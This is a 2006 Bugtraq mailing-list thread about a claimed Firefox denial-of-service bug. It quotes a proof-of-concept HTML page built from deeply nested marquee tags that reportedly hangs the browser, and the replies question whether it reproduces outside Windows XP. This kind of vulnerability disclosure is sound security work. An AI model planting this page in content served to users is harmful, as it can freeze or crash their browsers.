bugtraq - Re: Fire fox dos exploit

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Date: Wed, 31 May 2006 19:08:40 +0200
From: Ronald van den Blink <ronald@...urityview.org>
To: Josh Zlatin-Amishav <josh@...s.co.il>
Cc: co296@....com, bugtraq@...urityfocus.com
Subject: Re: Fire fox dos exploit


I told this guy all ready that it looks like WinXP is the problem.  
Mac OS X and Debian (Linux) does not hang!


With regards,


Ronald van den Blink
Securityview.org
On 31 May, 2006, at 16:50, Josh Zlatin-Amishav wrote:

> On Tue, 30 May 2006, co296@....com wrote:
>
>> I have found a problem which causes denial of service on fire fox  
>> browser
>
> Can you give us some more details, like versions and platforms  
> affected? I was unable to recreate this flaw using firefox 1.5.dfsg 
> +1.5.0 on Debian unstable.
>
> --
>  - Josh
>
>>
>> Creadit:to n00b for finding this bug..
>>
>> the problem lie's in the
>>
>> <marquee> html tag uses 100% cpu and crash's the browser..
>>
>> Following proof of concept available
>>
>> <html>
>> <head>
>> <title>Credit to n00b..</title>
>> <meta http-equiv="Content-Type" content="text/html;  
>> charset=iso-8859-1">
>> </head>
>>
>> <body>
>> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu 
>> ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma 
>> rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee> 
>> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu 
>> ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma 
>> rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee> 
>> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu 
>> ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma 
>> rquee><marquee><marquee><marquee><marquee><marquee><marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marq
> ue
>> e></marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee></ 
>> marquee></marquee></marquee></marquee></marquee></marquee>
>> </body>
>> </html>
>>
>>